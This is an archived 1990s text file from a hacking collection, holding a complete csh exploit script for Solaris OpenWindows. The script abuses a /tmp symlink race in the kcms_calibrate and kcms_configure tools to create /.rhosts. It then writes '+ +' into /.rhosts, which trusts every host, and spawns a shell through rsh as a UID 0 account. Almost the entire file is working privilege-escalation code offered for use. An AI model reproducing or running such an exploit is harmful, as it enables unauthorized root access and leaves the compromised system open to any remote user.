home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ksolaris.txt < prev    next >
Text File  |  1998-07-17  |  825b  |  31 lines

  1. cat > uhit.sh << E_O_F
  2. #!/bin/csh
  3. # JungSeok. Roh  ( beren@cosmos.kaist.ac.kr )
  4. # Junior in KAIST undergraduate. Under Management Dep .
  5.  
  6. set disp="cosmos.kaist.ac.kr:0.0"
  7. setenv DISPLAY $disp
  8. /bin/rm -rf /tmp/Kp_kcms_sys.sem
  9. cd /tmp
  10.  
  11. #Making symbolic link
  12. ln -s /.rhosts Kp_kcms_sys.sem
  13. /usr/openwin/bin/kcms_calibrate &
  14.  
  15. while(1)
  16.  
  17. echo "Click the device you've chosen in kcms_calibrate window"
  18.  
  19. # Choose Any profiles .. hk..
  20. # My 2.5 machine is unreachible son I can't get exact name of that profiles.
  21. # What a fool I am.. jjap..
  22. /usr/openwin/bin/kcms_configure -o -d $disp /usr/openwin/share/etc/devdata/profiles/Eksony17.mon
  23.  
  24. if( -f /.rhosts ) then
  25.         echo -n "+ +" >> /.rhosts
  26. # As u know , we can't login as root .. use smtp account. that has UID 0  !!
  27.         /usr/bin/rsh localhost -l smtp csh -i
  28. endif
  29. end
  30. E_O_F
  31.